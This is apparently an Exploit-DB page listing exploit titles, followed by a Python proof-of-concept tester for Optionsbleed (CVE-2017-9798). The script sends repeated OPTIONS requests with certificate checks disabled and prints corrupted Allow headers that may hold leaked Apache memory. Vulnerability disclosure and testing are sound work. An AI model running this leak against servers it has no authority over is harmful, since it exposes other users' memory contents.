ef4c288da7
16 new exploits Microsoft Windows Media Player 7.1 < 10 - BMP Heap Overflow (PoC) (MS06-005) (1) Microsoft Windows Media Player 7.1 < 10 - '.BMP' Heap Overflow (PoC) (MS06-005) (1) Cam2pc 4.6.2 - BMP Image Processing Integer Overflow Cam2pc 4.6.2 - '.BMP' Image Processing Integer Overflow Microsoft Internet Explorer 5.0.1 - JPEG Image Rendering Unspecified Buffer Overflow Microsoft Internet Explorer 5.0.1 - JPEG Image Rendering CMP Fencepost Denial of Service Microsoft Internet Explorer 5.0.1 - '.JPEG' Image Rendering Unspecified Buffer Overflow Microsoft Internet Explorer 5.0.1 - '.JPEG' Image Rendering CMP Fencepost Denial of Service Apple QuickTime 6.4/6.5/7.0.x - PictureViewer JPEG/PICT File Buffer Overflow Apple QuickTime 6.4/6.5/7.0.x - PictureViewer '.JPEG'/.PICT' File Buffer Overflow Tony Cook Imager 0.4x - JPEG and TGA Images Denial of Service Tony Cook Imager 0.4x - '.JPEG' / '.TGA' Images Denial of Service Microsoft Windows Kernel - 'win32k!NtQueryCompositionSurfaceBinding' Stack Memory Disclosure Microsoft Windows Kernel - 'win32k!NtGdiGetFontResourceInfoInternalW' Stack Memory Disclosure Microsoft Windows Kernel - 'win32k!NtGdiGetGlyphOutline' Pool Memory Disclosure Microsoft Windows Kernel - 'win32k!NtGdiGetPhysicalMonitorDescription' Stack Memory Disclosure Microsoft Windows Kernel - 'nt!NtSetIoCompletion / nt!NtRemoveIoCompletion' Pool Memory Disclosure Microsoft Windows Kernel win32k.sys TTF Font Processing - Out-of-Bounds Reads/Writes with Malformed 'fpgm' table (win32k!bGeneratePath) Microsoft Windows Kernel win32k.sys TTF Font Processing - Out-of-Bounds Read with Malformed _glyf_ Table (win32k!fsc_CalcGrayRow) Microsoft Windows Kernel - 'win32k!NtGdiEngCreatePalette' Stack Memory Disclosure Microsoft Windows Kernel - 'win32k!NtGdiDoBanding' Stack Memory Disclosure Adobe Reader X 10.1.4.38 - BMP/RLE Heap Corruption Adobe Reader X 10.1.4.38 - '.BMP'/'.RLE' Heap Corruption XV 3.x - BMP Parsing Local Buffer Overflow XV 3.x - '.BMP' Parsing Local Buffer Overflow Microsoft Windows Media Player 7.1 < 10 - BMP Heap Overflow (PoC) (MS06-005) (2) Microsoft Windows Media Player 7.1 < 10 - '.BMP' Heap Overflow (PoC) (MS06-005) (2) GeoVision Digital Surveillance System 6.0 4/6.1 - Unauthorized JPEG Image Access GeoVision Digital Surveillance System 6.0 4/6.1 - Unauthorized '.JPEG' Image Access Kaseya Virtual System Administrator (VSA) - uploader.aspx Arbitrary File Upload (Metasploit) Kaseya Virtual System Administrator (VSA) - 'uploader.aspx' Arbitrary File Upload (Metasploit) XOOPS 2.3.2 - (mydirname) Remote PHP Code Execution XOOPS 2.3.2 - 'mydirname' Remote PHP Code Execution Tuleap Project Wiki 8.3 < 9.6.99.86 - Command Injection Digirez 3.4 - Cross-Site Request Forgery (Update Admin) Digileave 1.2 - Cross-Site Request Forgery (Update Admin) DigiAffiliate 1.4 - Cross-Site Request Forgery (Update Admin) UTStar WA3002G4 ADSL Broadband Modem - Authentication Bypass iBall ADSL2+ Home Router - Authentication Bypass Apache - HTTP OPTIONS Memory Leak
76 lines
No EOL
2.9 KiB
Python
Executable file
76 lines
No EOL
2.9 KiB
Python
Executable file
#!/usr/bin/env python3
|
|
|
|
# Optionsbleed proof of concept test
|
|
# by Hanno Böck
|
|
|
|
import argparse
|
|
import urllib3
|
|
import re
|
|
|
|
|
|
def test_bleed(url, args):
|
|
r = pool.request('OPTIONS', url)
|
|
try:
|
|
allow = str(r.headers["Allow"])
|
|
except KeyError:
|
|
return False
|
|
if allow in dup:
|
|
return
|
|
dup.append(allow)
|
|
if allow == "":
|
|
print("[empty] %s" % (url))
|
|
elif re.match("^[a-zA-Z]+(-[a-zA-Z]+)? *(, *[a-zA-Z]+(-[a-zA-Z]+)? *)*$", allow):
|
|
z = [x.strip() for x in allow.split(',')]
|
|
if len(z) > len(set(z)):
|
|
print("[duplicates] %s: %s" % (url, repr(allow)))
|
|
elif args.all:
|
|
print("[ok] %s: %s" % (url, repr(allow)))
|
|
elif re.match("^[a-zA-Z]+(-[a-zA-Z]+)? *( +[a-zA-Z]+(-[a-zA-Z]+)? *)+$", allow):
|
|
print("[spaces] %s: %s" % (url, repr(allow)))
|
|
else:
|
|
print("[bleed] %s: %s" % (url, repr(allow)))
|
|
return True
|
|
|
|
|
|
parser = argparse.ArgumentParser(
|
|
description='Check for the Optionsbleed vulnerability (CVE-2017-9798).',
|
|
epilog="Tests server for Optionsbleed bug and other bugs in the allow header.\n\n"
|
|
"Autmatically checks http://, https://, http://www. and https://www. -\n"
|
|
"except if you pass -u/--url (which means by default we check 40 times.)\n\n"
|
|
"Explanation of results:\n"
|
|
"[bleed] corrupted header found, vulnerable\n"
|
|
"[empty] empty allow header, does not make sense\n"
|
|
"[spaces] space-separated method list (should be comma-separated)\n"
|
|
"[duplicates] duplicates in list (may be apache bug 61207)\n"
|
|
"[ok] normal list found (only shown with -a/--all)\n",
|
|
formatter_class=argparse.RawTextHelpFormatter)
|
|
parser.add_argument('hosttocheck', action='store',
|
|
help='The hostname you want to test against')
|
|
parser.add_argument('-n', nargs=1, type=int, default=[10],
|
|
help='number of tests (default 10)')
|
|
parser.add_argument("-a", "--all", action="store_true",
|
|
help="show headers from hosts without problems")
|
|
parser.add_argument("-u", "--url", action='store_true',
|
|
help="pass URL instead of hostname")
|
|
args = parser.parse_args()
|
|
howoften = int(args.n[0])
|
|
|
|
dup = []
|
|
|
|
# Note: This disables warnings about the lack of certificate verification.
|
|
# Usually this is a bad idea, but for this tool we want to find vulnerabilities
|
|
# even if they are shipped with invalid certificates.
|
|
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
|
|
|
|
pool = urllib3.PoolManager(10, cert_reqs='CERT_NONE')
|
|
|
|
if args.url:
|
|
test_bleed(args.hosttocheck, args)
|
|
else:
|
|
for prefix in ['http://', 'http://www.', 'https://', 'https://www.']:
|
|
for i in range(howoften):
|
|
try:
|
|
if test_bleed(prefix+args.hosttocheck, args) is False:
|
|
break
|
|
except Exception as e:
|
|
pass |